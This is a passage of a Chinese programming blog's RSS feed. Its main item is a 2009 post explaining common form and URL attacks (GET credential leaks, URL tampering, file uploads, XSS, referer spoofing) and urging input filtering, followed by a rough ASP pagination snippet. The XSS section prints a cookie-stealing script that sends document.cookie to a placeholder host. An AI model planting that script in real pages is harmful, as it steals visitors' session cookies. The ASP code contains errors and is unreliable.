                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F10%2F29%2Fwordpress-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">程序语言评估标准</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F11%2F01%2Foop%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F10%2F29%2Fwordpress-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">面向对象设计的启发规则</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F02%2Fwordpress-%25E8%25AF%258D%25E6%25B1%2587%25E8%25A1%25A8%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F10%2F29%2Fwordpress-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">WordPress 词汇表</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2009/10/29/wordpress-nginx-rewrite/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>表单及URL攻击的几种方法</title>
		<link>http://fendou.org/2009/07/15/form-and-url-attack-methods/</link>
		<comments>http://fendou.org/2009/07/15/form-and-url-attack-methods/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 14:38:44 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[常识]]></category>

		<guid isPermaLink="false">http://fendou.org/?p=546</guid>
		<description><![CDATA[有时候程序员为了偷懒或者是在无意识的情况下缺少了对外部数据的过滤，Web安全习惯上将所有用户输入的数据假定为受污染的数据（即可能带有攻击性的数据），现在比较流行的XSS（跨站脚本攻击）就是利用对用户输入过滤不完全而进行的攻击，因为用户数据过滤不完全会导致很多很多问题，我这里只是简单的介绍几种比较常见的表单及URL攻击方式，希望读者能够最大限度的注意过滤用户输入。 1)表单数据泄漏攻击 这个一般刚入行的人可能会犯错，说得通俗一点，就是该用POST方式提交数据的时候，用了GET方式提交数据，比如，用户登录时候用了GET方法，导致用户名和密码都在URL上直接显示出来了，当然假如真的傻到这种程度，这种应用大多还是属于自己玩玩的东西，不是产品。还有一种是登录等操作，在提交数据的时候被窃听或者拦截了，这种没有很好的方式去解决，最多就是利用可以在浏览器上执行的脚本，比如JavaScript对密码和用户加密后提交到服务器，而且最好采用不可逆的公共算法，在浏览器端执行的脚本如果使用自己的算法，会增加被破解的几率，当然如果你的加密程度能超过或者接近现在流行的公共加密算法，那么也是可以的:) 2)语义URL攻击 这也是利用提交的形式及参数进行攻击的，假如使用GET方式找回密码，url为：http://example.org/private.php?user=abc&#38;email=abc@11.org，那么产生的攻击也很简单，只要将user=abc改成任意其他的存在的用户密码就会发到后面的email中，轻松获取别人密码，POST方式大体也是通过窃听方式获得提交的数据 3）文件上传攻击 文件上传造成的危害在表单攻击中是最大的，假如成功入侵，最坏的情况甚至是可以干任何想干的事情，因此对此不可小觑。常见的有大文件攻击，假如你的服务端没有做限制的话，那么你的硬盘很快就会被塞满，或者是你在客户端中只是简单的限制了一下，那些对于心怀不轨者都是摆设，太容易绕开了。假如上传的是一个可执行的脚本，在某种情况下会激活这个脚本，那么后果就不堪设想，验证上传文件的后缀和限制上传文件的种类是能避免大多数低级别的攻击者，但根本还是让存放用户上传的文件的目录没有执行权限，脚本不能执行，那么它也仅仅是一般文本而已。 4）跨站脚本攻击 跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰，PHP应用也不例外。 所有有输入的应用都面临着风险。Webmail，论坛，留言本，甚至是Blog。事实上，大多数Web应用提供输入是出于更吸引人气的目的，但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义，跨站脚本漏洞就产生了。 比如在一个博客平台提供商，一个心怀不轨的用户在写博客时故意在内容中插入&#60;script&#62; document.location = &#8217;http://abc.example.org/steal.php?cookies=&#8217; + document.cookie&#60;/script&#62;，结果所有浏览这篇文章的读者的Cookie信息都在不知情的情况下发给了第三方。 5）HTTP请求欺骗攻击 所谓上有政策下有对策，很多项目为了最大程度的得到高可信度的用户输入，甚至添加了判断referer的功能，可惜这个东西十分的不靠谱，随便一个CURL就可以欺骗过去。 毕竟所有的传输都只是个协议而已，而HTTP协议本身只是负责传输，并不负责诸如安全之类的其他问题，所以过程怎么伪造都是可以的，只要攻击者足够的熟悉HTTP协议，针对HTTP协议本身的攻击，似乎目前还没有看到，虽然欺骗、攻击随处可见，方式变化多样，只要做好了过滤，多想一点再多想一点，任何攻击得到的都是一个错误页面而已<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP实现URL路由</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F06%2F07%2Fscaling-php%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP是可扩展的语言</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">程序语言评估标准</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F01%2F10%2Fphp-server%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP服务器变量$_SERVER详解</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>有时候程序员为了偷懒或者是在无意识的情况下缺少了对外部数据的过滤，Web安全习惯上将所有用户输入的数据假定为受污染的数据（即可能带有攻击性的数据），现在比较流行的XSS（跨站脚本攻击）就是利用对用户输入过滤不完全而进行的攻击，因为用户数据过滤不完全会导致很多很多问题，我这里只是简单的介绍几种比较常见的表单及URL攻击方式，希望读者能够最大限度的注意过滤用户输入。</p>
<p>1)表单数据泄漏攻击</p>
<p>这个一般刚入行的人可能会犯错，说得通俗一点，就是该用POST方式提交数据的时候，用了GET方式提交数据，比如，用户登录时候用了GET方法，导致用户名和密码都在URL上直接显示出来了，当然假如真的傻到这种程度，这种应用大多还是属于自己玩玩的东西，不是产品。还有一种是登录等操作，在提交数据的时候被窃听或者拦截了，这种没有很好的方式去解决，最多就是利用可以在浏览器上执行的脚本，比如JavaScript对密码和用户加密后提交到服务器，而且最好采用不可逆的公共算法，在浏览器端执行的脚本如果使用自己的算法，会增加被破解的几率，当然如果你的加密程度能超过或者接近现在流行的公共加密算法，那么也是可以的:)</p>
<p>2)语义URL攻击</p>
<p>这也是利用提交的形式及参数进行攻击的，假如使用GET方式找回密码，url为：http://example.org/private.php?user=abc&amp;email=abc@11.org，那么产生的攻击也很简单，只要将user=abc改成任意其他的存在的用户密码就会发到后面的email中，轻松获取别人密码，POST方式大体也是通过窃听方式获得提交的数据</p>
<p>3）文件上传攻击</p>
<p>文件上传造成的危害在表单攻击中是最大的，假如成功入侵，最坏的情况甚至是可以干任何想干的事情，因此对此不可小觑。常见的有大文件攻击，假如你的服务端没有做限制的话，那么你的硬盘很快就会被塞满，或者是你在客户端中只是简单的限制了一下，那些对于心怀不轨者都是摆设，太容易绕开了。假如上传的是一个可执行的脚本，在某种情况下会激活这个脚本，那么后果就不堪设想，验证上传文件的后缀和限制上传文件的种类是能避免大多数低级别的攻击者，但根本还是让存放用户上传的文件的目录没有执行权限，脚本不能执行，那么它也仅仅是一般文本而已。</p>
<p>4）跨站脚本攻击</p>
<p>跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰，PHP应用也不例外。</p>
<p>所有有输入的应用都面临着风险。Webmail，论坛，留言本，甚至是Blog。事实上，大多数Web应用提供输入是出于更吸引人气的目的，但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义，跨站脚本漏洞就产生了。</p>
<p>比如在一个博客平台提供商，一个心怀不轨的用户在写博客时故意在内容中插入&lt;script&gt; document.location = &#8217;http://abc.example.org/steal.php?cookies=&#8217; + document.cookie&lt;/script&gt;，结果所有浏览这篇文章的读者的Cookie信息都在不知情的情况下发给了第三方。</p>
<p>5）HTTP请求欺骗攻击</p>
<p>所谓上有政策下有对策，很多项目为了最大程度的得到高可信度的用户输入，甚至添加了判断referer的功能，可惜这个东西十分的不靠谱，随便一个CURL就可以欺骗过去。</p>
<p>毕竟所有的传输都只是个协议而已，而HTTP协议本身只是负责传输，并不负责诸如安全之类的其他问题，所以过程怎么伪造都是可以的，只要攻击者足够的熟悉HTTP协议，针对HTTP协议本身的攻击，似乎目前还没有看到，虽然欺骗、攻击随处可见，方式变化多样，只要做好了过滤，多想一点再多想一点，任何攻击得到的都是一个错误页面而已 <img src='http://fendou.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP实现URL路由</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F06%2F07%2Fscaling-php%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP是可扩展的语言</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">程序语言评估标准</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F01%2F10%2Fphp-server%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP服务器变量$_SERVER详解</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2009/07/15/form-and-url-attack-methods/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>学习一下ASP</title>
		<link>http://fendou.org/2008/12/21/study_asp/</link>
		<comments>http://fendou.org/2008/12/21/study_asp/#comments</comments>
		<pubDate>Sun, 21 Dec 2008 12:33:36 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[回忆]]></category>

		<guid isPermaLink="false">http://fendou.org/?p=229</guid>
		<description><![CDATA[三年前，当我为网页三剑客这个词而激动不已的时候的，开始接触这个编程语言，在动网一统天下的时候，这个语言是非常流行的，那时纯粹是为了好玩，而如今当我差不多都忘记这门语言的时候，却需要它来混学分，真是可笑～～ 好了，不说了，就算我在这里写上万言书，明天下午依然要奔赴考场，去拿我的那三个必修课的学分，虽然我一直怀疑学校这个时候开这门课是因为教师的思维和水平严重固化和滞后导致他们无法教授其他的编程语言，但在知识都是相通的幌子下，我只能默默的去考试，能及格强于一切理由。 用ASP写个分页吧，就算回忆一下“童年”的记忆Set conn = Server.CreateObject(“ADODB.Connection”) conn.ConnectionString = “driver ={Microsoft Access Driver (*.mdb)};dbq”&#38; _Server.MapPath(“personal.mdb”) conn.open() Set rs = conn.excute(“select * from abc”) rs.pageSize = 5 curPage = Request.QueryString(“page”) =”" ? 1 :Request.QueryString(“page”) rs.absolutepage = curPage For i = 1 To rs.pagesize If rs.eof Then Exit For End If response.write(rs(“info_content”)) rs.moveNext Next If curPage = 1...  <a href="http://fendou.org/2008/12/21/study_asp/" class="more-link" title="Read 学习一下ASP">Read more &#187;</a><table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="面向对象设计的启发规则" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F11%2F01%2Foop%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F12%2F21%2Fstudy_asp%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">面向对象设计的启发规则</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="程序语言评估标准" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F12%2F21%2Fstudy_asp%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2012/01/20/14185012.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">程序语言评估标准</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="个人学习方法总结" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F10%2F19%2Fstudy_method%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F12%2F21%2Fstudy_asp%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">个人学习方法总结</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Top 10 Concepts That Every Software Engineer Should Know" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F09%2F02%2Ftop-10-concepts-that-every-software-engineer-should-know%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F12%2F21%2Fstudy_asp%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2012/01/20/14185352.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Top 10 Concepts That Every Software Engineer Should Know</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="VMware安装全过程" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F05%2F05%2Fvmware%25E5%25AE%2589%25E8%25A3%2585%25E5%2585%25A8%25E8%25BF%2587%25E7%25A8%258B%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F12%2F21%2Fstudy_asp%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2012/01/20/14185417.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">VMware安装全过程</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>三年前，当我为网页三剑客这个词而激动不已的时候的，开始接触这个编程语言，在动网一统天下的时候，这个语言是非常流行的，那时纯粹是为了好玩，而如今当我差不多都忘记这门语言的时候，却需要它来混学分，真是可笑～～</p>
<p>好了，不说了，就算我在这里写上万言书，明天下午依然要奔赴考场，去拿我的那三个必修课的学分，虽然我一直怀疑学校这个时候开这门课是因为教师的思维和水平严重固化和滞后导致他们无法教授其他的编程语言，但在知识都是相通的幌子下，我只能默默的去考试，能及格强于一切理由。</p>
<p>用ASP写个分页吧，就算回忆一下“童年”的记忆Set conn = Server.CreateObject(“ADODB.Connection”)<br />
conn.ConnectionString = “driver ={Microsoft Access Driver (*.mdb)};dbq”&amp; _Server.MapPath(“personal.mdb”)<br />
conn.open()<br />
Set rs = conn.excute(“select * from abc”)<br />
rs.pageSize = 5<br />
curPage = Request.QueryString(“page”) =”" ? 1 :Request.QueryString(“page”)<br />
rs.absolutepage = curPage<br />
For i = 1 To rs.pagesize<br />
If rs.eof Then<br />
Exit For<br />
End If<br />
response.write(rs(“info_content”))<br />
rs.moveNext<br />
Next<br />
If curPage = 1 Then<br />
Response.Write(“首页”)<br />
Response.Write(“上一页”)<br />
Else<br />
Response.Write(“&lt;a href=\” ?page=1\” 首页&lt;/a&gt;”)<br />
Response.Write(“&lt;a href=\” ?page=curPage-1\” 上一页&lt;/a&gt;”)<br />
End If<br />
If rs.pageCount&lt;curPage+1 Then<br />
Response.Write(“下一页”)<br />
Response.Write(“尾页”)<br />
Else<br />
Response.Write(“&lt;a href=\” ?page=curPage+1\” 下一页&lt;/a&gt;”)<br />
Response.Write(“&lt;a href=\” ?page=rs.pageCount\” 尾页&lt;/a&gt;”)<br />
End If<br />
粗糙了点，考试应该够用了，老天保佑明天考试有一题是分页，阿门～～</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="面向对象设计的启发规则" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F11%2F01%2Foop%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F12%2F21%2Fstudy_asp%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">面向对象设计的启发规则</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="程序语言评估标准" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F12%2F21%2Fstudy_asp%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2012/01/20/14185012.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">程序语言评估标准</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="个人学习方法总结" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F10%2F19%2Fstudy_method%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F12%2F21%2Fstudy_asp%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">个人学习方法总结</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Top 10 Concepts That Every Software Engineer Should Know" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F09%2F02%2Ftop-10-concepts-that-every-software-engineer-should-know%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F12%2F21%2Fstudy_asp%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2012/01/20/14185352.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Top 10 Concepts That Every Software Engineer Should Know</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="VMware安装全过程" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F05%2F05%2Fvmware%25E5%25AE%2589%25E8%25A3%2585%25E5%2585%25A8%25E8%25BF%2587%25E7%25A8%258B%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F12%2F21%2Fstudy_asp%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2012/01/20/14185417.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">VMware安装全过程</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2008/12/21/study_asp/feed/</wfw:commentRss>
